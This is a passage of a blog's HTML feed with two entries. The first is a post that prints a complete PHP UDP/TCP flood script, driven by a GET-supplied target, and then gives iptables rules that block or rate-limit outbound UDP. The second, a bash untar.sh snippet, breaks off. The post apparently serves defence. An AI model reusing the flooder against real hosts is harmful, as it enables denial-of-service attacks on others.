class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$lol&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;gethostbyname&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;h&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$out&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;v&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;for&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;65535&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$i&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$out&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;.=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;X&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 9&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;10&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;11&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;int&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;t&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;12&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;13&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;14&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;type&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;tcp&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;15&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;16&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$posttype&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;tcp://&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;17&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;18&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;nv&#34;&gt;$posttype&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;udp://&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;21&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;22&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;23&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;24&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;25&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;nv&#34;&gt;$posttype&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;udp://&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;26&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;27&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$ti&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;28&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$mt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$ti&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;29&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;while&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$mt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;30&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;isset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;31&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;      &lt;span class=&#34;nv&#34;&gt;$port&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$_GET&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;32&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$port&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;rand&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;65000&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;33&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;nv&#34;&gt;$sock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fsockopen&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$posttype&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$lol&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$port&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$errno&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$errstr&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;34&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;){&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;35&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;o&#34;&gt;++&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$p&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;36&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nv&#34;&gt;$fwriteFile&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;fwrite&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;37&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;nx&#34;&gt;fclose&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$sock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;38&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;39&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$ps&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;round&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;((&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$p&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;*&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;65536&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1024&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;41&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;time&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$ti&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;42&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$lol&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; flooded with &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$p&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; packets. &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$ps&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; MB sent over &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$dt&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt; seconds. ( &amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;round&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$ps&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;/&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$dt&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34; MB/s ) &lt;/span&gt;&lt;span class=&#34;si&#34;&gt;$fwriteFile&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;the-solution&#34;&gt;The Solution&lt;/h3&gt;&#xA;&lt;p&gt;Generally speaking, there&#39;s no need to allow UDP traffic other than DNS.&lt;/p&gt;&#xA;&lt;p&gt;All non-essential UDP traffic can be completely blocked with the following settings:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# allow dns requests to google nameservers&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A OUTPUT -p udp --dport &lt;span class=&#34;m&#34;&gt;53&lt;/span&gt; -d 8.8.8.8 -j ACCEPT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A OUTPUT -p udp --dport &lt;span class=&#34;m&#34;&gt;53&lt;/span&gt; -d 8.8.4.4 -j ACCEPT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# block all other udp&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;7&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A OUTPUT -p udp -j DROP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;8&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;ip6tables -A OUTPUT -p udp -j DROP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Gist: &lt;a href=&#34;https://gist.github.com/thoward/24b0102355331dd6dd3b&#34;&gt;https://gist.github.com/thoward/24b0102355331dd6dd3b&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, rate limiting can be employed as a more tolerant measure:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# Outbound UDP Flood protection in a user defined chain.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -N udp-flood&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A OUTPUT -p udp -j udp-flood&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A udp-flood -p udp -m limit --limit 50/s -j RETURN&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A udp-flood -j LOG --log-level &lt;span class=&#34;m&#34;&gt;4&lt;/span&gt; --log-prefix &lt;span class=&#34;s1&#34;&gt;&amp;#39;UDP-flood attempt: &amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;6&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;iptables -A udp-flood -j DROP&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Gist: &lt;a href=&#34;https://gist.github.com/thoward/6180165&#34;&gt;https://gist.github.com/thoward/6180165&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: You&#39;ll probably want to remove the log entry before this goes to production. Disks filling up with logs from rate limiting can crash your servers too!&lt;/em&gt;&lt;/p&gt;&#xA;</content>
	</entry>
	<entry>
		<title>Code Snippet: untar.sh</title>
		<id>https://blog.thoward37.me/articles/code-snippet-untarsh</id>
		<link rel="alternate" href="https://blog.thoward37.me/articles/code-snippet-untarsh" type="text/html"></link>
		<link rel="via" href="https://blog.thoward37.me/articles/code-snippet-untarsh" type="text/html"></link>
		<link rel="related" href="https://blog.thoward37.me/articles/code-snippet-untarsh" type="text/html"></link>
		<published>2013-03-19T00:00:00+00:00</published>
		<updated>2013-03-19T00:00:00+00:00</updated>
		<author>
			<name>Troy Howard</name>
			<uri>https://blog.thoward37.me/</uri>
			<hypergraph:favicon>https://blog.thoward37.me/css/portland.png</hypergraph:favicon>
		</author>
		<summary type="html">&lt;p&gt;Simple untar script that does the obvious thing and creates a directory named after the tar file, then extracts a tar in that directory. This is a handy to install in user scope to augment tar.&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;more&#34;&gt;&lt;/span&gt;&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 1&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;#/bin/bash&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 2&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 3&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;c1&#34;&gt;# cross platform absolute path function&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 4&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;abspath&lt;span class=&#34;o&#34;&gt;()&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt; 5&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;  &lt;span class=&#34;o&#34;&gt;[[&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; /* &lt;span class=&#34;o&#34;&gt;]]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$1&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;||&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;echo&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;$PWD&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;${&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;#./&lt;/span&gt;&lt;span 